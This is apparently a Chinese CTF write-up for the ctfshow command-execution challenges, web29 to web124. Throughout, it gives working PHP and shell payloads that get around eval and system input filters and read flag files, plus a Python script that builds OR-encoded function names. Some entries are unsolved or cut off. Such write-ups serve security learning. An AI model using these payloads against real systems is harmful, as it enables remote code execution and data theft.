ctfshow的命令执行
web29
代码审计,eval函数的作用就是让输入的字符串当作php代码进行执行,get输参c系统命令,ls列目录
这代码里面对flag进行了过滤,可以用*或?进行绕过
?c=system("ls");
?c=system("tac%20fla*.php");
web30
发现flag,system,php这些字样都被过滤,那么就不能用系统命令来执行,但是据了解,php还支持一个执行运算符,就是反引号`,php会把反引号里面的内容当作shell命令去执行,从而替代了系统命令。echo函数的作用是输出一个或多个字符串,这里需要说一声,在执行命令的时候,这个反引号里面的内容并不是直接当成标准输出,而是当成一个变量进行输出。
?c=echo`ls`;
?c=echo`tac fla*.p*p;
然后后面的考察点和上一题一样
web31
这个题过滤的更多,flag,system,php,cat,sort,shell,还过滤了空格,可以用%09(代替空格)
绕过
?c=echo`ls%09`;
?c=echo`tac%09fla*`;
web32
这道题又增加了对echo的过滤,经查询发现php中不用括号的有echo以及include等等
这里学习到用?>
可以代替;
所以这道题有两种解法,一种是利用文件包含的rce,
?c=include$_GET[0]?>&0=data://text/plain,<?php phpinfo();?>
或者利用php伪协议来读取php文件
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
web33
这道题和上道题相比多了个括号过滤,逃逸文件包含用不到括号所以解题思路跟上题一样
web34
过滤时多过滤了一个=和一个<,解题思路跟上题一样
web35
过滤时多过滤了一个=和一个<,解题思路跟上题一样
web36
这道题跟上面的也是一样,只不过因为又过滤了数字,所以把0改成字母就可!
web37
这道题没有过滤太多东西,就过滤了个flag
/?c=data://text/plain,<?php system("tac fla?.php");?>
/?c=data:text/plain,<?=system("tac fla*");?>
上面两种绕过方式就是举例,这道题的绕过方式很多。
web38
发现过滤了flag,php,file,文件包含漏洞,输出flag
考虑到使用data协议,这道题因为过滤了php,所以要使用短标签
对于正常标签就是<?php
,而短标签就是<?
/?c=data://text/plain,<?=system("ls");
/?c=data://text/plain,<?=system("tac fla*.p*p");
这道题也可以直接
?c=data://text/plain,<?= system("cat fla*");?>
同样可以得到flag!
web39
下面这是官方给的hint
这个跟上题解法一样
?c=data://text/plain,<?= system("cat fla*");?>
然后查看源代码得到flag
web40
这道题过滤了很多字符,利用get_defined_vars()
?c=eval(end(current(get_defined_vars())));&a=system("ls");
tac得到flag
web41
这道题把数字和字母都过滤了,写个脚本
import re
import requests
url="http://2a2e4b71-f1ff-4953-8b14-bd26f6633fdc.challenge.ctf.show/"
a=[]
ans1=""
ans2=""
for i in range(0,256):
c=chr(i)
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
if(tmp):
continue
#print(tmp.group(0))
else:
a.append(i)
# eval("echo($c);");
mya="system" #函数名 这里修改!
myb="ls" #参数
def myfun(k,my):
global ans1
global ans2
for i in range (0,len(a)):
for j in range(i,len(a)):
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i])
ans2+=chr(a[j])
return;
for k in range(0,len(mya)):
myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"
data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)
cat一下就出来了!
web42
在给变量c赋值的语句下面的语句”>/dev/null 2>&1“
,可以将其理解成将输入的数写入黑洞,也就是说只要执行一个命令都无效
>/dev/null 意思就是把错误输出到“黑洞”
/dev/null 2>&1 默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”
所以可以?c=ls&&ls
,这里需要强调一下,需要先url编码之后再执行
web43
过滤了cat
和;
,cat可以用tac代替,;可以用%0a代替
tac flag.php%0a
web44
过滤了flag以及cat,system‘函数将输入的参数的后面还是写入了黑洞,解决办法就是双写
2>/dev/null | 意思就是把错误输出到“黑洞” |
---|---|
>/dev/null 2>&1 | 默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞” |
-2>&1 >/dev/null- | -意思就是把错误输出2重定向到标准出书1,也就是屏幕,标准输出进了“黑洞”,也就是标准输出进了黑洞,错误输出打印到屏幕- |
所以还是先跟上一题一样?c=ls&&ls
,这里要求先进行url编码之后再执行
但是因为已经过滤了cat,所以用tac!!
web45
一如既往,这道题过滤了;,cat,flag还有空格,同时又写入黑洞,用上一题的方法依旧可以回显[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jhIDgLIA-1648814972961)(https://gitee.com/hzy2003628/drawing-bed/raw/master/images/20220317194335.png)]
但是读取的时候原来的方法不再出现回显
&&代表执行两个命令,让后面的命令进入黑洞,以便于能够正常执行前面的命令,这道题因为过滤了空格,所以用tab制表符代替空格,%09就是tab制表符的url编码
web46
过滤了;,cat,flag,数字,*,$
发现上一题的payload照样可以用
web47
过滤了一些字符,但是貌似用不到这些字符,用同样的方法依然可以解决!
学习一下新知识,这道题还可以nl<fla''g.php||
nl查看源代码,<代替空格,''分割flag过滤,||解决命令黑洞
web48
过滤的字符对这种绕过方法不受影响,所以前面的解法依然适用!
web49
解法同上!
当然下面的官方给的hint方法也可以
web50
这道题不能用前面的方法来解决了,因为过滤了%
这个时候就需要使用其他过滤方法绕过,上面有一题提到了一种其他解法,/?c=ls<p||
,盲猜这题应该也是又php文件,所以ls所有带p的
nl
命令在linux系统中用来计算文件中行号。nl
可以将输出的文件内容自动的加上行号。
<
表示的是输入重定向的意思,就是把<
后面跟的文件取代键盘作为新的输入设备。
所以可以使用<
或者<>
绕过空格,使用\
插入到flag中
然后/?c=nl<fla\g.php||
web51
这道题把tac也过滤了!
这里可以输上题的payload,但是回显是1,考虑到1就是正确,查看源代码即可得到flag!
我用的tac的payload,因为过滤了tac所以可以在tac中间插入\
/?c=ta\c<fla\g.php||
web52
这道题把<>也过滤了
那么使用
${IFS}
绕过空格。关于IFS的解释:
Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
/?c=ta\c${IFS}fla\g.php||
但是发现不在这里,又进行逐层寻找,最终找到flag
tac一下得到flag!这里不要忘记过滤了flag还有tac都需要插入\来进行过滤!
web53
这道题不再有黑洞了,不用绕黑洞了!上题的payload这题照样适用,把绕黑洞的去掉就可!
/?c=nl${IFS}fla\g.php
/?c=ta\c${IFS}fla\g.php
web54
可以使用mv
命令:
mv
命令用来为文件或目录改名、或将文件或目录移入其它位置。
/?c=mv${IFS}fl?g.php${IFS}a.txt
然后flag.php就改名为a.txt,然后直接访问就可得到flag!
、
web55
这个过滤了所有的字母
/?c=/???/????64 ????.??? //也就是?c=/bin/base64 flag.php
通过匹配bin下存在的命令进行读取flag。
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls
解码得到flag!
web56
还是过滤了所有的字母!
抓包后西显示如下
构造poc执行命令
?c=.+/???/????????[@-[]
注:后面的[@-[]
是linux下面的匹配符,是进行匹配的大写字母。
在这个之前我们需要构造一个post上传文件的数据包。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后抓包
暂时没有找到解决办法!
web57
里面有个提示flag就在36.php里,
已知
┌──(amateur㉿kali)-[~]
└─$ echo $((~$(())))
-1
┌──(amateur㉿kali)-[~]
└─$ echo $((~$(($((~$(())))+$((~$(())))))))
1
┌──(amateur㉿kali)-[~]
└─$ echo $((~$(($((~$(())))+$((~$(())))+$((~$(())))))))
2
所以访问36.php只需要将里面的元素复制到36个,编写python脚本生成,上传得到flag
python脚本:
s1 = "$((~$(("
s2 = ""
lils2 = "$((~$(())))"
s3 = "))))"
for i in range(37):
s2 += lils2
print(s1+s2+s3)
输出:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
验证:
┌──(amateur㉿kali)-[~]
└─$ echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
36
payload:
url/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$(
web58
这道题需要post传参,可以通过高亮显示php文件
show_source(“flag.php”);
highlight_file(“flag.php”);
web59
同上
web60
同上
web61
同上
web62
同上
web63
同上
web64
同上
web65
同上
web66
用show_source(),回显该函数被禁用,查看根目录下的文件
c=print_r(scandir(“/”));
查看根目录下的文件
c=highlight_file(“/flag.txt”);
web67
print_r()被禁用
查看根目录下有哪些文件:
用这个代替
c=var_dump(scandir(“/”));
c=highlight_file(‘/flag.txt’);
web68
show_source()和highlight_file()被禁用
POST:c=include(‘/flag.txt’);
web69
查看根目录下的文件:
但是print_r()、var_dump()被禁用
用下面的代替
POST:c=var_export(scandir(“/”));
POST:c=include(‘/flag.txt’);
web70
尝试使用c=include(‘index.php’);但是不行,盲猜应该还是在/flag.txt里面
所以c=include(‘/flag.txt’);
web71
用include函数不行了
可以在后面加个exit函数,让匹配到缓冲区不执行就退出
web72
先看一下源码
这题对我来说有点难度,看了网上的wp。
先查询flag的位置
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
这题未解出。。。。。。
web73
先读取目录
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
看到flag,直接include
c=include('/flagc.txt');exit();
web74
还是先读取根目录内容
找到flag,试试直接include
web75
解法同上
貌似不是同上,因为include函数有不行了,可以使用一些可使用的进程去读flag,这里使用PDO(PHP Database Object)去执行sql语句进而读取flag,payload:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web76
列目录
解法和上题一样!
web77
还是先读目录
还是常使用POD读取flag36x.php但是失败了,根据提示使用PHP7.4以上才有的FFI进行命令执行,所以再构造
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
readflag是专门用来读flag的。
然后访问/1.txt
即可。
web118
难得的新界面!查看一下源代码
system($code); 这就是说明我们可以执行命令,但是有些指令是被ban的
利用系统变量构造nl命令
${PATH:~A}${PWD:~A}$IFS????.???
web119
跟上题一样的界面,又多了过滤的东西,上面的payload也被ban了
${SHLVL} //一般是一个个位数
${#SHLVL} //1,表示结果的字符长度
${PWD:${#}:${#SHLVL}} //表示/
${USER} //www-data
${PHP_VERSION:~A} //2
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} //at
payload如下
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
/???/?at ????.???
web120
题目如下
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){ // 限制长度
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
测试发现过滤了PATH,采用shell的base64加密
base64路径在/bin/base64,用?匹配的时候需要匹配全路径,不能只匹配base64
payload(由于用了随机函数,可能要多试几次)
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
web121
题目如下
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
又过滤了SHLVL,可以用#?来代替,payload如下
${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.??? // /bin/base64 flag.php
web122
题目如下
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
官方wp给的payload
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
反复刷新就出来了
web124
题目如下
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45
*/
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
添加头部信息:1=tac flag.php
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php
这俩都行